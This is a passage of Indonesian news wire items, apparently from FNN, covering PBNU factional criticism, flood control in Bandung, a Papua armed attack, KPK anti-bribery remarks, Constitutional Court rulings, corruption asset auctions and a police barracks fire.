ke atasnya. Perahu kecil itu akhirnya terisi penuh. Beberapa migran melambaikan tangan ketika mereka mulai bergerak meninggalkan pantai. Beberapa jam kemudian, mereka mendarat di dekat Dungeness, Inggris, dikawal sebuah perahu penyelamat. Seorang penjaga perbatasan membantu seorang anak bermantel dengan motif tartan yang sebelumnya terlihat di Prancis. Anak itu mengisap permen saat berjalan pelan ke arah pantai. (mth)

Lupakan Tirani Kekuasaan PBNU, Bangun Rumah KKNU-26

Oleh: Abdul Malik Said KITA telah disuguhi sebuah tontonan panggung Deklamasi dan Deklarasi dari Pengurus Besar Nahdlatul Ulama (PBNU) selama 2 periode, tampak dalam sudut pandang mata awam terlihat Tirani Kekuasaan Absolut dan Show of Force Benih Fir'aun dan Qorun. Tirani Kekuasan ini tak mampu tertembus oleh apapun bak baja yang kuat dan tebal menghalau pedang samurai untuk mencabiknya dan sasaran anak panah yang lepas dari busurnya. Kokohnya pelindung PBNU oleh para Naga yang siap mencaplok mangsa yang mengusiknya. Instrumen barisan Penguasa yang merasa kuasa di atas kuasa Tuhan telah memperisai tubuh PBNU secara gagah dan elegan dan juga barisan kaum orientalis kapitalis zionis, komunis Chines, sekularis libralis, syi'is dan Islam Nusantara. Oh, begitu aman dan nyamannya sang Deklamator dan Deklarator di tubuh Jam'iyyah Nahdlotul Ulama yang berkuasa dalam 2 dekade ini. Kita semua tahu bahwa Nahdlotul Ulama lahir dari rahim para Wali-Wali Alloh Yang Mulia, suci bersih tanpa darah yang terkumandang Adzan dan Iqomah tanda kebangkitan Ulama dan Ummat Manusia di bumi Nusantara. Kelahiran NU memenuhi panggilan sang perintis jagat Nusantara untuk melawan segala bentuk penindasan dan penjajahan. Sejarah telah menorehkan tinta emasnya bahwa Kemerdekaan Republik Indonesia adalah andil besar para kyai dan ulama yang ada di dalam Jam'iyyah Nahdlotul Ulama. Kini sejarah berubah akan eksistensi NU Tempo Dulu. Sejarahnya tertoreh dengan tinta air comberan yang tak berbekas kalimatnya, hanya bau busuk yang menyengat dirasa. Gonjang ganjing tontonan yang tak patut dilakukan oleh PBNU saat ini sebagai penerus para Mu'assis Nahdlotul Ulama, maka lahirlah KKNU-26 (Komite Khitthoh Nahdlotul Ulama 1926) untuk meluruskan jalan semestinya yang merujuk pada konsistensi garis-garis perjuangan Visi Misi yang sesuai dengan Qonun Asasi dan Khitthoh NU. KKNU-26 lahir di tengah-tengah badai besar yang menghempas lepas semua sendi-sendi kehidupan beraqidah Aswaja dan ittihaadus syakhshiyah di bumi nusantara. Memang KKNU-26 lahir masih dalam kondisi prematur, butuh incubator untuk memulihkan dan menumbuhkembangkan jiwa raganya agar menjadi kuat dan besar untuk berjuang melawan angkara murka dan orang-orang yang mengobrak-abrik sendi-sendi Jam'iyyah NU secara masif dan terstruktur. Tapi apa daya tangan tak kuasa dan sang Pengusa Alam belum turunkan nushroh-Nya kepada bayi yang prematur ini. Gerak sedikit, sudah muncul kekhawatiran akan efek dan imbalan dari gerakannya. Statement dari tokoh-tokoh KKNU-26 seperti alm KH Sholahuddin Wahid, KH Khoirul Anam, KH Suyuthi Thoha, KH Abdulloh Muchid, Prof. Dr. KH Ahmad Zahro, MA, Prof. Dr. KH Rahmad Wahab, Gus Sholahul Aam Wahib, KH. M. Ghozi Wahib dengan kalimat yang sama. Bahwa PBNU menampakkan arogansi kekuasaan, NU sudah dijual dengan harga rendah dan murahan, PBNU sudah sangat menyimpang dan melenceng dari qonun asasi dan Khitthoh. Beraneka narasi yang disampaikan untuk mengkritik dan meluruskan jalannya PBNU dan memulihkan marwah Jam'iyyah NU ternyata mendapat serangan balik dan ocehan-ocehan yang menyakitkan, dibilang Kyai-kyai frustasi, kurang kerjaan, gak dapat bagian dan banyak kalimat yang menyakitkan didengar. Serangan balik ini ada dua kemungkinan, bisa memicu bangkitnya KKNU-26 atau jadi kendornya perjuangan. Maka dari itu pertumbuhan KKNU-26 belum normal dan tidak sempurna. Realitas kondisi masih lemah dan tak berdaya karena gak ada biaya. Dan itu kita menyadari semua, bahwa motorik suatu organisasi adalah SDM dan SDA. Lalu apa yang seharusnya KKNU-26 perbuat? Dengan kuatnya perisai-perisai yang kokoh mengelilinginya yang tak bisa tertembus apapun anak panah yang bertubi-tubi? Sejalan dengan pemikiran saya oleh Bpk. KH Ahmad Fauzi mengharap Pengurus KKNU-26 untuk tidak terus-menerus melawan tembok raksasa itu, yaitu PBNU Now and New, biar mereka bertarung sendiri kita sebagai penontonnya. Lanjut beliau PB KKNU-26 fokus merawat rumah sendiri dan para penghuninya kaum nahdliyin dan para simpatisan dari kalangan para tokoh yang tidak tersentuh oleh kepemimpinan NU sekarang. Pendapat dan pikiran ini sungguh sangat Rasional dan Obyektif melihat ummat sekarang ini sudah apriori dan terpecah belah baik dari kalangan ulama ulamanya maupun warga nahdliyin itu sendiri, baik yang ada di struktural maupun yang ada di kultural NU. Oleh karenanya, KKNU-26 segera kembali mengurus rumah sendiri dan ummat ysng semakin parah kondisinya dalam persatuan dan kesatuan juga dalan konstruksi beragama ala ahlus sunnah wal jamaah. Rumah sendiri bisa lebih aman dan nyaman dirasa, maka mulailah kita Membangun dan Merenovasi Bangunan ysmg Rapuh yang Ditinggalkan oleh PBNU Ini. Penulis Adalah Pengasuh PP HAQ An-Nahdliyah, Sidoarjo

DPU Perbanyak Kolam Retensi pada 2022 Cegah Banjir di Bandung

Bandung, FNN - Dinas Pekerjaan Umum (DPU) Kota Bandung menargetkan untuk memperbanyak kolam retensi pada tahun 2022 guna mencegah adanya genangan banjir di pemukiman atau di jalan raya yang kerap terjadi saat musim hujan. Kepala DPU Kota Bandung Didi Riswandi mengatakan kolam retensi yang akan dibuat, salah satunya di kawasan Cisanggarung. Selain itu, saat ini pihak DPU pun tengah merampungkan kolam retensi yang ada di kawasan Bima. "Jadi yang di Cisanggarung itu untuk menangani banjir di Cironggeng, Cikadut, Arcamanik, dan di Cingised," kata Didi di Bandung, Jawa Barat, Kamis. Menurut Didi, sejauh ini Kota Bandung telah memiliki delapan kolam retensi. Adanya sejumlah kolam retensi itu menurutnya dinilai efektif untuk mengurangi banjir. Salah satunya, kata dia, yang dampaknya cukup nampak yakni Kolam Retensi Gedebage. Sejauh ini menurutnya di Jalan Soekarno-Hatta kawasan Gedebage belum terjadi kembali banjir yang menyebabkan kemacetan panjang. "Setelah itu dibangun, jalur cepat (Jalan Soekarno-Hatta) itu belum pernah terendam, jadi belum pernah terdengar lagi antrean panjang, itu sudah setahun lebih" kata dia. Untuk menangani permasalahan banjir, menurutnya ada sejumlah metode yang dapat dilakukan. Mulai dari pembenahan aliran, mengoptimalkan resapan, dan membuat tempat parkir air dengan kolam retensi. Namun, ia menilai saat ini yang paling efektif untuk menangani banjir yakni dengan kolam retensi. Karena, kata dia, kolam retensi memiliki daya tampung air yang cukup besar. "Tapi permasalahannya lahannya susah, jadi sebenarnya kalau sumur imbuhan (resapan) dikerjakan secara masif, itu akan efektif," kata Didi. Maka dari itu, menurutnya masyarakat juga perlu melakukan upaya secara masing-masing dengan membuat sumur resapan meski Pemerintah Kota Bandung terus menambah kolam retensi. "Kalau setiap rumah bikin sumur imbuhan satu rumah satu itu sangat efektif sekali," kata dia. (mth)

Danrem 172 PWY: TNI Tambah Personel Perkuat Koramil Suru-suru

Jayapura, FNN - Danrem 172/PWY Brigjen TNI Izak Pangemanan menyatakan pihaknya segera menambah personel untuk memperkuat Koramil Suru-suru, Kabupaten Yahukimo, Papua. Penambahan personel segera setelah KSB melakukan penyerangan dengan menembaki koramil dan kios milik warga dari seberang sungai. "Saat penembakan yang dilakukan KSB pada hari Sabtu (20/11) menyebabkan dua prajurit terluka, seorang di antaranya gugur bernama Sertu Ari Baskoro," kata Brigjen TNI Izak Pangemanan kepada ANTARA di Jayapura, Kamis. Dikatakan pula bahwa prajurit TNI yang bertugas di Koramil Suru-suru sebetulnya relatif cukup banyak atau 40 orang prajurit sehingga dengan tambahan 50 prajurit bakal kuat lawan KSB. Saat menyerang dengan menembaki koramil dan kios warga, lanjut dia, kekuatan mereka cuma delapan orang dengan tiga pucuk senjata. "Mereka (KSB) saat menyerang berlindung di tiga kampung yang berpenduduk asal Nduga, sementara penduduk Suru-suru sendiri mengungsi," kata Pangemanan. Saat ini kepala distrik serta kepala kampung sudah berada di Suru-suru. Mereka menghimbau warga agar kembali ke rumah mereka di kampung karena anggota TNI siap melindungi masyarakat. Ketika ditanya tentang warga non-OAP (orang asli Papua), Danrem 172 mengatakan bahwa mereka sudah mengungsi ke Tomor sekitar 20 menit dengan menggunakan perahu motor. "Untuk warga non-OAP, mereka mengungsi ke Tomor dan ada yang ke Agast, Kabupaten Asmat," kata Brigjen TNI Izak Pangemanan. (sws)

KSP Dengarkan Kendala Petani pala di Fakfak Papua Barat

Jakarta, FNN - Kantor Staf Presiden mendengarkan kendala yang dihadapi para petani pala di Kabupaten Fakfak, Papua Barat dalam bertani, mulai dari sulitnya mendapat legalitas dari Badan Pengawas Obat dan Makanan (BPOM) hingga terbatasnya alat produksi pertanian. Berdasarkan keterangan tertulis KSP yang diterima di Jakarta, Kamis, dilaporkan bahwa para petani membutuhkan dukungan untuk produksi. "Produksi kami masih manual. Kami butuh alat-alat yang memadai dan packaging yang lebih steril," kata Cahyani, petani pala yang memproduksi manisan pala kering dan basah, saat bertemu tim KSP di Desa Torea, Fakfak Papua Barat, Kamis. Menanggapi keluhan tersebut, Tenaga Ahli Utama KSP Wandy Tuturoong mengajak para petani pala di Fakfak untuk memanfaatkan program pemerintah. "Kemenkop sebenarnya punya banyak program yang bisa mendukung kebutuhan para petani pala," ujar Wandy. Dalam kesempatan itu, Wandy juga meminta agar peran Balai Latihan Kerja (BLK) dioptimalkan sesuai dengan kebutuhan industri, sehingga lulusan BLK bisa langsung terserap dan mendukung kebutuhan SDM. "Ini sesuai dengan arah pendidikan yang dicanangkan Pemerintah, yakni link and match," lanjutnya. Sementara terkait dengan persoalan perizinan dan pengurusan legalitas produksi, kata Wandy, KSP akan membicarakannya dengan kementerian/lembaga terkait. Seperti diketahui, Kabupaten Fakfak merupakan salah satu penghasil pala terbesar di Indonesia. Produk-produk turunan Pala di antaranya, rempah-rempah, bumbu masak, pengharum kosmetik, minyak pala, manisan, dan bahan pengawet. Meskipun menjadi sentra penghasil pala, namun sampai saat ini pemerintah daerah setempat baru bisa memikirkan produksi lokal saja, dan membutuhkan dukungan untuk pemasaran dan pengelolaan dari produk-produk jadi yang dihasilkan. (sws)

Ketua KPK Ingatkan Pengusaha Tak Beri Suap ke Penyelenggara Negara

Jakarta, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri mengingatkan agar tidak ada lagi pengusaha yang memberi suap kepada penyelenggara negara. "Saya ingin mulai hari ini tidak ada lagi pengusaha yang memberi suap kepada penyelenggara negara dan mulai hari ini pun tidak ada penyelenggara negara yang menerima suap dari pengusaha," kata Firli saat acara penandatanganan nota kesepahaman (MoU) antara KPK dan Kamar Dagang dan Industri (Kadin) Indonesia dalam rangka pencegahan korupsi di Gedung KPK, Jakarta, Kamis disiarkan melalui kanal Youtube KPK. Ia mengatakan bahwa pada prinsipnya, negara kuat karena ada penguasa dan juga pengusaha. "Penguasa dalam hal ini kami garis bawahi adalah penyelenggara negara tetapi juga tidak jarang terjadi penyelenggara negara dan pengusaha sama-sama bermasalah karena namanya juga pengusaha dia bekerja dengan target 'how to achieve the goals?' bagaimana mencapai tujuan?" kata Firli. Ia menjelaskan terkadang untuk mencapai tujuan tersebut para pengusaha melalaikan proses sebagaimana mestinya sehingga dimanfaatkan oleh oknum penyelenggara negara. "Seketika kita ingin membuka usaha tentu lah tanggalnya jelas, perencanaan jelas, penghasilan jelas, pelaksanaan jelas, termasuk juga pengawasan jelas tetapi dalam pelaksanaannya terkadang terjadi persoalan karena target sudah ditetapkan prosesnya kadang-kadang terganggu. Biasanya pengusaha selalu upaya selalu usaha karena itu adalah ciri khas dari pengusaha terkadang melalaikan mengabaikan proses yang benar," kata Firli. "Di situ lah dimanfaatkan oleh para penyelenggara karena pengusaha butuh penyelenggara negara maka ada kontak penyatuan yang disebut dengan pertemuan antar pikiran pertemuan dengan tindakan, muncul lah disebut dengan suap," tambah dia. Ia menegaskan jika ingin mewujudkan kegiatan ekonomi yang lancar, efektif, dan efisien maka praktik suap maupun gratifikasi harus dihilangkan. "Karena kalau kita ingin mewujudkan kegiatan-kegiatan ekonomi kita lancar, mudah, efektif, dan efisien pasti lah harus kita hindari biaya tinggi, yaitu dengan cara suap tadi harus dihilangkan gratifikasi harus dihilangkan, pemerasan dan kecurangan demi kepentingan harus dihilangkan," ujar Firli. Sementara itu, Kepala Badan Hubungan Penegakan Hukum dan Pertanahan Keamanan Kadin Bambang Soesatyo atau Bamsoet mengatakan pengusaha sebenarnya menjadi korban dari "susu tante". "Bahwa kami ini sebetulnya korban dari "susu tante" sumbangan sukarela tanpa tekanan. Judulnya tanpa tekanan tetapi sesungguhnya penuh ancaman, biasanya kalau kita kuat kita lawan tetapi kadang-kadang kita tidak kuat ikut goyang juga," kata Bamsoet. Bamsoet yang juga Ketua MPR RI itu mengungkapkan para pengusaha berada dalam posisi yang sulit dengan adanya pungutan dari oknum penyelenggara negara. "Kadang kita dalam posisi yang sulit terutama teman-teman yang memiliki bisnis di daerah. Dikasih ke "garuk", tidak dikasih tidak dapat bisnis kita. Terjadi lah suap baik yang terang-terangan maupun diam-diam. Kadang-kadang pengusaha ini lebih senang kepala daerah yang terus terang, yang kita bingung kalau kepala daerah atau pejabatnya itu ingin sesuatu tetapi tidak diutarakan tetapi izin tidak keluar-keluar. Ini yang bikin pusing," tuturnya. Oleh karena itu, Bamsoet mengatakan dengan adanya MoU dengan KPK, para pengusaha mempunyai "beking" agar terhindar dari praktik suap. "Kerja sama hari ini kita berharap pengusaha punya 'beking'. Jadi, bukan preman saja punya 'beking', pengusaha juga butuh "beking". 'Beking' dalam hal ini yang ditakuti kalau penyelenggara negara bupati, wali kota, gubernur itu ingin meminta sesuatu agar izin itu diberikan maka dia harus berpikir ulang," ujar Bamsoet. (sws)

PSI Kecewa MK Tolak Gugatan Kewajiban Verifikasi partai Peserta Pemilu

Jakarta, FNN - Partai Solidaritas Indonesia (PSI) menyampaikan kekecewaan usai Majelis Hakim Mahkamah Konstitusi (MK) memutuskan menolak gugatan tiga partai politik nonparlemen soal kewajiban verifikasi peserta pemilu. "Substansi gugatan PSI sangat rasional dan proporsional," kata Sekretaris Jenderal (Sekjen) Dewan Pimpinan Pusat (DPP) PSI Dea Tunggaesti dalam keterangan tertulisnya yang diterima di Jakarta, Kamis. Dalam permohonannya, PSI meminta agar partai parlemen tidak perlu diverifikasi, partai nonparlemen atau yang tidak memiliki perwakilan di Senayan hanya perlu verifikasi administrasi, dan partai baru harus verifikasi administrasi dan faktual. "Putusan MK ini jelas mengecewakan," kata Dea Tunggaesti. Menurut Dea, penting untuk diketahui bahwa ada tiga anggota majelis hakim MK yang mengajukan alasan berbeda dengan merujuk pada dissenting opinion dalam putusan MK No.55/PUU-XVIII/2020. Menurut dia, dissenting opinion tersebut menjadi pertanda bahwa majelis hakim juga tidak seluruhnya sepakat tentang putusan tersebut. Ada sebagian yang menerima logika hukum yang diajukan oleh pemohon. Bila mengikuti logika hukum yang rasional, lanjut dia, tiga golongan partai politik yang berbeda satu sama lain tentu harus dikenakan perlakuan berbeda pula secara proporsional. Menyamakan perlakuan verifikasi yang sama tentu memunculkan ketidakadilan. Partai politik yang pernah mengikuti pemilu telah teruji karena dinyatakan lolos sebagai peserta dan diperbolehkan mengikuti kontestasi pemilihan umum. Oleh karena itu, pemberlakuan verifikasi administrasi dan faktual menjadi tidak relevan. "Posisi partai politik yang pernah lolos verifikasi administrasi dan faktual tentu berbeda dengan parpol yang belum pernah mengikuti pemilu," ujarnya. Untuk partai politik yang belum pernah mengikuti pemilu, kata dia, tentu memerlukan pembuktian kualifikasi sehingga wajar bila dicek persyaratannya melalui verifikasi administrasi dan faktual. Sementara itu, partai politik yang sudah pernah mengikuti pemilu telah terbukti memenuhi persyaratan dan kualifikasi sebagai peserta sehingga seharusnya cukup verifikasi administrasi. Sebelumnya, MK menolak gugatan tiga partai politik nonparlemen soal kewajiban verifikasi peserta pemilu. Gugatan tersebut diajukan PSI, Partai Berkarya, dan Partai Perindo. MK menyatakan seluruh permohonan pemohon tidak beralasan menurut hukum. Mahkamah berpendapat persoalan serupa sudah pernah diuji pada tahun lalu dalam putusan Nomor 55/PUU-XVIII/2020. Pada gugatan tersebut ketiga partai yang mengajukan gugatan menguji materi Pasal 173 ayat (1) Undang-Undang Pemilu. Ketiganya ingin ada perbedaan kewajiban verifikasi bagi partai politik. (sws)

Putusan MK Perkuat Tugas Komisi Yudisial Seleksi Hakim Ad Hoc pada MA

Jakarta, FNN - Komisi Yudisial (KY) mengatakan putusan Mahkamah Konstitusi (MK) yang menolak gugatan uji materi Pasal 13 huruf a Undang-Undang Nomor 18 Tahun 2011 tentang KY semakin memperkuat lembaga tersebut dalam menjalankan tugas dan wewenang menyeleksi Hakim Ad Hoc pada Mahkamah Agung (MA). "Dalam putusan tersebut disebutkan bahwa perubahan atau pembentukan undang-undang yang mengatur eksistensi KY adalah desain politik hukum yang merupakan otoritas dari pembentuk undang-undang," kata Anggota KY RI sekaligus Ketua Bidang Sumber Daya Manusia, Advokasi, Hukum, Penelitian dan Pengembangan Binziad Kadafi di Jakarta, Kamis. Kemudian, ia lanjut menjelaskan, desain politik hukum tersebut dibuat melalui kebijakan hukum yang tepat dan tentu saja mengacu pada konstitusi. Tafsir konstitusionalnya dipegang oleh MK dengan pendekatan kontekstual. Di samping itu, dalam putusan tersebut juga disebutkan bahwa KY memiliki peran penting sebagai perisai dalam proses seleksi Hakim Ad Hoc di MA. Hal tersebut dapat dimaknai sebagai perisai dengan tujuan tegaknya independensi dan imparsialitas hakim. Dasar peran tersebut dinyatakan oleh MK tidak hanya ditemukan dalam ketentuan konstitusi, tetapi juga "basic principles on the independence of the judiciary" yang berlaku universal. Kemudian, melalui putusan tersebut KY juga dinyatakan sebagai lembaga independen yang didesain oleh konstitusi untuk menjalankan seleksi yang objektif dan profesional. "Tidak hanya untuk Hakim Agung tetapi juga untuk seleksi Hakim Ad Hoc pada MA," ujar dia. Sebelumnya, Majelis Hakim MK menolak seluruh gugatan uji materi Undang-Undang Nomor 18 Tahun 2011 tentang KY yang diajukan oleh seorang dosen sekaligus mantan calon Hakim Ad Hoc Tindak Pidana Korupsi bernama Dr Burhanudin. "Menolak permohonan pemohon untuk seluruhnya," kata Ketua MK Anwar Usman saat membacakan amar putusan yang digelar MK secara virtual. Dalam konklusi yang dibacakan langsung oleh Ketua MK Anwar Usman, terdapat sejumlah poin di antaranya mahkamah menyatakan pokok permohonan pemohon tidak beralasan menurut hukum. (sws)

Bakamla RI dan CMPGC Spanyol Sepakat Pererat Hubungan

Batam, FNN - Bakamla RI dan CMPGC Spanyol sepakat membangun hubungan lebih erat dengan bertukar point of contact guna membuka jalan pertukaran informasi keamanan dan keselamatan kapal-kapal Indonesia dan Spanyol, khususnya yang melintas di perairan kedua negara. Kepala Bakamla RI Laksdya TNI Aan Kurnia berkunjung ke Markas Besar Coastal and Maritime Police Guarda Civil (CMPGC) di Madrid, Spanyol dan diterima langsung oleh Kepala Coastal and Maritime Police Major General Guarda Civil Carlos Crespo Romero beserta staf, Rabu (24/11). Kepala Bakamla RI dalam keterangan, Kamis, memandang perlu ada penguatan kapasitas melalui kerja sama antarinstitusi keamanan negara-negara. Menurut dia, globalisasi menghilangkan batas virtual negara sehingga meningkatkan risiko transnational kejahatan terorganisasi. "Ini merupakan ancaman bersama yang memerlukan pengetahuan yang luas dan bisa didapat melalui berbagi pengalaman, sharing best practice," demikian keterangan Bakamla. Masih dalam kunjungan yang sama, kedua pihak sepakat menandatangani nota kesepahaman terkait dengan keamanan dan keselamatan laut pada waktu dekat. Dalam kunjungan itu, Kepala Coastal and Maritime Police Major General Guarda Civil Carlos Crespo Romero memaparkan Guarda Civil dan Coastal and Maritime Police yang dipimpinnya. Ia juga memperkenalkan juga pusat komando dan pengendalian (puskodal) yang dimiliki Coastal and Maritime Police Guarda Civil Spanyol. Lawatan Kepala Bakamla dan jajaran ke Spanyol dalam rangka mengembangkan peran lembaga itu sebagai point of contact keamanan maritim nasional, khususnya pada masa damai. Sebelum ke Spanyol, tim Bakamla setelah memenuhi undangan Turkish Coast Guard pada pekan lalu. Pada pertemuan tersebut, Kepala Bakamla RI didampingi jajaran pejabat, antara lain Deputi Jakstra Laksda Bakamla Tatit Eko Wicaksono, Direktur Kebijakan Laksma Bakamla Samuel Kowaas, Direktur Operasi Laut Laksma Bakamla Suwito, Direktur Hukum Laksma Bakamla Erry, Kabag Humas Kolonel Bakamla Wisnu Pramandita, dan Atase Pertahanan Indonesia Kolonel Pnb Agung Perwira Negara. (sws)

Pengamat: Dudukkan Penangkapan Anggota MUI Secara Proporsional

Jakarta, FNN - Pengamat intelijen dan terorisme dari Universitas Indonesia Ridlwan Habib mengatakan masyarakat hendaknya mendudukkan masalah penangkapan anggota Majelis Ulama Indonesia (MUI) atas dugaan kasus terorisme secara proporsional. "Kita tidak boleh berlebih-lebihan dalam menyikapi sebuah kasus, harus didudukkan secara proporsional," kata Ridlwan dikutip dari siaran pers di Jakarta, Kamis. Menurut dia, penangkapan tersebut jelas dilakukan atas dasar dugaan yang bersangkutan sebagai anggota kelompok teroris Jamaah Islamiyah (JI) sehingga terlalu berlebihan jika muncul narasi kriminalisasi ulama atau islamofobia. "Mereka ini melawan hukum dalam konteks Undang-Undang Nomor 5 Tahun 2018 tentang Penanggulangan Terorisme," ujarnya. Menurut dia, ini juga berlaku untuk kasus terorisme lainnya yang pelakunya kebetulan merupakan tokoh atau aktivis apa saja. Di sisi lain, masyarakat tidak boleh juga lantas melabeli MUI sebagai organisasi yang buruk hingga lantas muncul narasi pembubaran MUI. "Karena masih banyak ulama di MUI, para kiai yang memang benar-benar mendalami Islam secara kafah, secara baik dan mempromosikan Islam yang rahmatan lil alamin, Islam yang damai," ujar Ridlwan. Menurut Ridlwan, insiden yang mencatut nama lembaga sebesar MUI adalah murni kesalahan individu. Ia memandang hal ini sebagai kemampuan individu jaringan terorisme dalam berkamuflase. "Karena kelompok ini memiliki kemampuan untuk bergabung dengan organisasi-organisasi umum, mendekati tokoh publik dan sebagainya," katanya. Masyarakat juga tidak boleh kemudian membandingkan dengan kelompok kriminal bersenjata (KKB) di Papua dengan menganggap bahwa pemerintah pilih kasih dalam penanganan terorisme. Menurut Ridlwan, pihak yang berpikiran KKB dibiarkan itu salah besar karena sampai hari ini Satgas Nemangkawi habis-habisan di lapangan mempertaruhkan nyawa. "Lihat saja beberapa hari yang lalu ada anggota TNI yang jadi korban. Pemerintah sudah mengirimkan prajurit-prajurit terbaik Polri dan juga TNI dalam konteks perbantuan untuk menangani KKB ini," ujarnya. (sws)

Kejati Kalbar Selamatkan Uang Negara Rp10,9 Miliar dari Kasus Tipikor

Pontianak, FNN - Kejaksaan Tinggi (Kejati) Kalimantan Barat menyatakan telah menyelamatkan keuangan negara sebesar Rp10,9 miliar di tahun 2021 dari kasus tindak pidana korupsi (tipikor) yang ditangani instansi tersebut. "Sebanyak Rp10,9 miliar keuangan negara yang berhasil diselamatkan itu, dari total 58 tipikor yang kami tangani, yakni sebanyak 25 kasus ditangani oleh Kejati Kalbar dan sebanyak 33 perkara ditangani oleh Kejari," kata Kepala Kejati Kalbar, Masyhudi dalam keterangan tertulis di Pontianak, Kamis. Dia menjelaskan, dalam penanganan kasus tipikor pihaknya tidak main-main, dan siapapun yang terlibat akan diproses sesuai dengan ketentuan yang berlaku. "Kami akan memberikan tuntutan yang maksimal bagi pelaku atau para tipikor sesuai dengan tingkat kesalahannya dan sesuai dengan undang-undang yang berlaku, sehingga bisa memberikan efek jera," katanya. Dia menambahkan, sepanjang tahun 2021 jajarannya juga sudah menangkap kembali sebanyak 12 orang yang masuk dalam DPO (daftar pencarian orang). "Penangkapan itu dilakukan oleh Tim Tabur (tangkap buron Kejati Kalbar) bersama-sama dan berkoordinasi dengan tim Kejaksaan Agung dan instansi terkait lainnya," ujarnya. Pada tahun 2021, Kejati Kalbar sudah menangani dan menyelesaikan perkara pidana umum (pidum) sebanyak 381 perkara, dan termasuk perkara yang menarik perhatian masyarakat, katanya. Dalam kesempatan itu, Kajati Kalbar mengimbau dan mengajak peran masyarakat ikut membantu menginformasikan jika mengetahui keberadaan buronan yang lain (belum tertangkap) untuk menyampaikan informasi yang bisa langsung melapor ke Kantor Kejati Kalbar atau ke Kejari terdekat. "Dengan penangkapan ini (para DPO) maka akan memberikan efek psikologis kepada buronan lainnya, sedangkan yang belum tertangkap hanya masalah waktu saja, dan saya mengingatkan kepada para buronan 'tidak ada tempat aman bagi pelaku kejahatan buron atau DPO'," ujarnya. (sws)

Lelang Kendaraan Mewah Sitaan Kasus Jiwasraya Terjual Rp6,1 Miliar

Jakarta, FNN - Hasil lelang barang sitaan dalam perkara korupsi PT Asuransi Jiwasraya berupa 11 unit kendaraan mewah terdiri atas 10 mobil dan satu sepeda motor terjual dengan total Rp6,1 miliar. Dalam keterangan tertulis Pusat Penerangan Hukum (Puspenkum) Kejaksaan Agung RI yang diterima di Jakarta, Kamis, disebutkan ada 16 kendaraan mewah hasil rampasan negara yang dilelang. Namun, baru 11 unit yang terjual. Jenis barang rampasan yang berhasil dijual, yakni: satu unit minibus Toyota Alphard G A seharga Rp877.968.000,00; satu unit minibus Toyota Alphard 2.5 seharga Rp865.497.000,00; dan satu unit minibus Toyota Vellfire 2.5 G AT berwarna hitam seharga Rp746.016.000,00. Berikutnya, satu unit Mercedez Benz/E 300 seharga Rp700.376.000,00; satu unit minibus Toyota Alphard Rp666.350.000,00; satu unit minibus Toyota Vellfire 2.5 G AT berwarna putih yang laku Rp644.993.000,00; dan satu unit sedan Mercedez Benz/E 300 AT berwarna hitam seharga Rp308.853.000,00. Selanjutnya, satu unit sepeda motor Harley Davidson/FLHX Street Glide seharga Rp432.851.000,00, satu unit minibus Honda CR-V RM3 2 WD seharga Rp207.807.000,00; dua unit minibus Toyota Kijang Innova seharga Rp329.716.000,00 dan Rp325.654.000,00. "Bahwa dari 16 kendaraan dimaksud, sebanyak 11 unit kendaraan laku terjual yang terdiri dari 10 unit kendaraan roda empat dan satu unit kendaraan roda dua dengan nilai sementara dari hasil penjualan lelang sebesar Rp6.100.081.000,00," kata Kepala Pusat Penerangan Hukum Kejaksaan Agung Leonard Eben Ezer Simanjuntak. Leonard mengatakan bahwa peserta lelang memiliki batas waktu pelunasan hingga 1 Desember mendatang. Uang tersebut akan ditransfer oleh Kantor Pelayanan Kekayaan Negara dan Lelang (KPKNL) Jakarta IV ke rekening penampungan Kejaksaan Negeri Jakarta Pusat. Sementara itu, sisa lima unit kendaraan tidak laku terjual dikarenakan tindak ada penawaran (TAP) dan akan dilakukan lelang ulang. Sebelumnya diwartakan, Kejagung RI memastikan proses lelang barang-barang mewah hasil rampasan negara terkait dengan kasus korupsi PT Asuransi Jiwasraya dilakukan secara transparan dan bertahap. (sws)

Wakapolda Kalsel Upayakan Bangun Secepatnya Asrama Polisi Terbakar

Banjarmasin, FNN - Wakil Kepala Kepolisian Daerah Kalimantan Selatan Brigjen Pol. Mohamad Agung Budijono berjanji mengupayakan bangunan asrama polisi (aspol) di Polsekta Banjarmasin Utara yang terbakar secepatnya bisa dibangun. "Kami mengupayakan secepat mungkin perbaikan agar anggota yang terkena musibah bisa kembali tinggal di asrama," kata Wakapolda Kalsel di Banjarmasin, Kamis. Setelah terbakarnya empat asrama polisi pada Selasa (23/11) malam, Agung meninjau langsung lokasi untuk mengecek kondisi bangunan sekaligus menjumpai anggota yang menghuninya. Para korban yang terdampak telah disiapkan tempat tinggal sementara sembari menunggu bangunan asrama bisa ditempati kembali. Wakapolda mengaku bersyukur tidak ada korban jiwa dalam musibah kebakaran tersebut. Menyinggung soal kerugian materi, menurut dia, bisa diganti. Atas peristiwa kebakaran yang kerap terjadi di Kota Banjarmasin, Agung mengingatkan masyarakat termasuk anggota Polri agar lebih berhati-hati dan waspada. "Kebakaran bisa terjadi kapan saja, pastikan aliran listrik, kompor gas, dan sebagainya jangan sampai menyebabkan munculnya api," katanya menekankan. Sementara itu, Kapolsekta Banjarmasin Utara Kompol Indra Agung Perdana Putra mengatakan bahwa pihaknya masih mendalami penyebab pasti kebakaran dengan mengumpulkan sejumlah barang bukti dan keterangan saksi, termasuk pemeriksaan tim Inafis yang melakukan olah TKP. (sws)

Jaksa Agung RI Pertama Raden Gatot Taroenamihardja Dikenal Sosok Tegas

Jakarta, FNN - Upacara pemindahan makam Jaksa Agung RI Pertama Raden Gatot Taroenamihardja dari Tempat Pemakaman Umum (TPU) Menteng Pulo Jakarta Selatan menuju Taman Makam Pusara Adhyaksa, Kabupaten Bogor, resmi digelar pada Kamis. Hadir dalam upacara pemindahan makam sejumlah insan Adhyaksa serta Pengurus Pusat PJI sebagai bentuk penghormatan kepada mendia Raden Gatot Taroenamihardja dikenang sebagai sosok jaksa yang menginspirasi karena ketegasannya dalam menangani berbagai perkara, termasuk perkara tindak pidana korupsi. "Gatot Taroenamihardja adalah sosok yang banyak menginspirasi Korps Adhyaksa, khusus ketegasannya dalam memimpin Korps Adhyaksa terdahulu," kata Kepala Kejaksaan Negeri (Kajari) Jakarta Selatan Nurcahyo yang hadir dalam prosesi pemindahan makam. Menurut Nurcahyo, ketegasan Gatot Taroenamihardja menjadi inspiransi bagi insan Adhyaksa untuk meneruskan perjuangan dan ketegasannya dalam pemberantasan perkara-perkara yang luar biasa, termasuk perkara tindak pidana korupsi. "Dari ketegasan beliau, saya dan jajaran Adhyaksa 